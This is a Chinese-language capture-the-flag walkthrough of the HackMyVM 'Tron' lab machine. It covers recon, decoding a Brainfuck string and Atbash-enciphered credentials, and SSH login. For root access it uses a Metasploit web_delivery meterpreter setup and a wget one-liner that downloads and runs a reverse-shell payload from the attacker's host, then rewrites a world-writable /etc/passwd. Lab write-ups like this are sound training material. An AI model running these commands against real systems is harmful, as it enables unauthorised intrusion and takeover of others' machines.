当前位置:网站首页>HackMyvm靶机系列(7)-Tron
HackMyvm靶机系列(7)-Tron
2022-07-06 09:22:00 【月应知我意】
一、信息收集
如图,老方法,先来一波网段扫描,探测存活主机
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然后使用nmap扫描端口,探测开放的服务,这里发现目标主机开放了ssh服务和http服务
nmap -sC -sV -p- 192.168.200.168
访问目标的http服务,看到如下结果。

然后右键查看源代码,发现下面字符串,看上去像是账号和密码。

尝试使用下面密码登录目标主机,但是失败了。
kzhh:SbWP9q94ZtE9qD那就来一波目录扫描吧!看看会不会有什么新的发现
gobuster dir -u http://192.168.200.168/ -w /tools/dict/directory-list-2.3-medium.txt -x php,html,txt,zip,7z,gz,bak -t 30
得到的文件和目录还不少。挨个访问看看。
经过访问,只有在/MCP目录下发现了有效信息
如图,有一个tron.txt文件。

访问这个文件看看。
该文件中有一段对话,最下方还有一长串字符串。

将对话翻译看看

最下面这串字符串看上去是base64编码,拿去解码的到如下结果,这看上去也像是一种编码,但是这编码真没见过。
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.----.-----------.++++++++++++++++++++++++.--------------------.+++++++++++++.
于是百度一波,发现这是barinfuck编码
Brainfuck解释器
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]

解码得到的结果为player,结合上面的对话,这很有可能是一个用户名。
然后继续访问/MCP/目录下的文件,发现一个文件内容如下。
plaintext ---明文
ciphertext---密文
猜测这里的密码很有可能用了替换加密。这个加密的密码很有可能是之前在网页源代码中看到的注释。
kzhh:SbWP9q94ZtE9qD
二、漏洞利用
如图,对密文进行解密。

获得密码
pass:SyWP9j94ZgE9jD脚本如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
str1 = "abcdefghijklmnopqrstuvwxyz"
str2 = "zyxwvutsrqponmlkjihgfedcba"
ciphertext = "kzhh:SbWP9q94ZtE9qD"
plaintext = ""
for i,c in enumerate(ciphertext):
if c in str2:
index = str2.find(c)
plaintext += str1[index]
else:
plaintext += c
print(plaintext)使用得到的用户名密码登录目标主机。
ssh [email protected]拿到第一个flag

三、权限提升
输入如下命令
sudo -l
既然不行,那就试试suid和sgid提权吧
输入如下命令
find / -prem -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null结果如图所示,没有发现能够又来提权的文件。

既然这些都不行,那就上传一个脚本,收集一下更为详细的信息吧。
这里我们可以通过nc、curl、wget配合http服务直接在目标机上下载文件,但是我这里最近看到msf上的这个模块,感觉挺有意思的,可以一条命令直接上线msf,我这就使用一波msf啦。
use exploit/multi/script/web_delivery #这个模块可以通过直接执行命令上线msf
show target #查看目标
set target 7
set payload payload/linux/x86/meterpreter/reverse_tcp #设置payload
set srvport 6666
set lhost 192.168.200.218
run
然后运行模块,会得到下面这条命令

wget -qO 3gsWPNx9 --no-check-certificate http://192.168.200.218:6666/3vM41a0iXQ; chmod +x 3gsWPNx9; ./3gsWPNx9& disown在目标主机上执行命令

如图,成功上线MSF

上传信息收集脚本到目标机
upload /home/kali/LinEnum.sh
使用脚本收集到的信息很多,我就不一一截图了。
如图,这里发现/etc/passwd文件任何用户是可读可写的。
那么我们是不是可以通过修改/etc/passwd文件来达到提权的效果呢?

linux里与密码相关的文件有两个,/etc/passwd,/etc/shadow
前者存放了一些用户信息,后者存放加密后的密码。但是这里面有个特点,如果/etc/passwd中存放了密码,那么即使这个密码与shadow中不同,但是会优先使用/etc/passwd中的密码。
如图,输入如下命令生成加密后的密码
openssl passwd
使用msf更改/etc/passwd文件,将root密码修改如下。
edit /etc/passwd
这里的root没有开放远程连接,直接在kali上连接会失败。
我们在本地切换到root用户。
如图,成功将权限提升至root,获得第二个flag

边栏推荐
- (original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
- 【数据库 三大范式】一看就懂
- C language Getting Started Guide
- 稻 城 亚 丁
- 7-8 7104 约瑟夫问题(PTA程序设计)
- Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
- QT meta object qmetaobject indexofslot and other functions to obtain class methods attention
- Canvas foundation 1 - draw a straight line (easy to understand)
- [experiment index of educator database]
- 这次,彻底搞清楚MySQL索引
猜你喜欢

Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a

4. Branch statements and loop statements

A piece of music composed by buzzer (Chengdu)

3. Input and output functions (printf, scanf, getchar and putchar)
![[面試時]——我如何講清楚TCP實現可靠傳輸的機制](/img/d6/109042b77de2f3cfbf866b24e89a45.png)
[面試時]——我如何講清楚TCP實現可靠傳輸的機制

Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis

. How to upload XMIND files to Jinshan document sharing online editing?

Record a penetration of the cat shed from outside to inside. Library operation extraction flag

Programme de jeu de cartes - confrontation homme - machine

Redis的两种持久化机制RDB和AOF的原理和优缺点
随机推荐
记一次猫舍由外到内的渗透撞库操作提取-flag
强化學習基礎記錄
String abc = new String(“abc“),到底创建了几个对象
强化学习基础记录
撲克牌遊戲程序——人機對抗
ABA问题遇到过吗,详细说以下,如何避免ABA问题
ArrayList的自动扩容机制实现原理
仿牛客技术博客项目常见问题及解答(一)
PriorityQueue (large root heap / small root heap /topk problem)
Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a
强化学习系列(一):基本原理和概念
Canvas foundation 2 - arc - draw arc
强化学习基础记录
Using spacedesk to realize any device in the LAN as a computer expansion screen
稻 城 亚 丁
Redis的两种持久化机制RDB和AOF的原理和优缺点
Renforcer les dossiers de base de l'apprentissage
[面試時]——我如何講清楚TCP實現可靠傳輸的機制
Yugu p1012 spelling +p1019 word Solitaire (string)
Difference and understanding between detected and non detected anomalies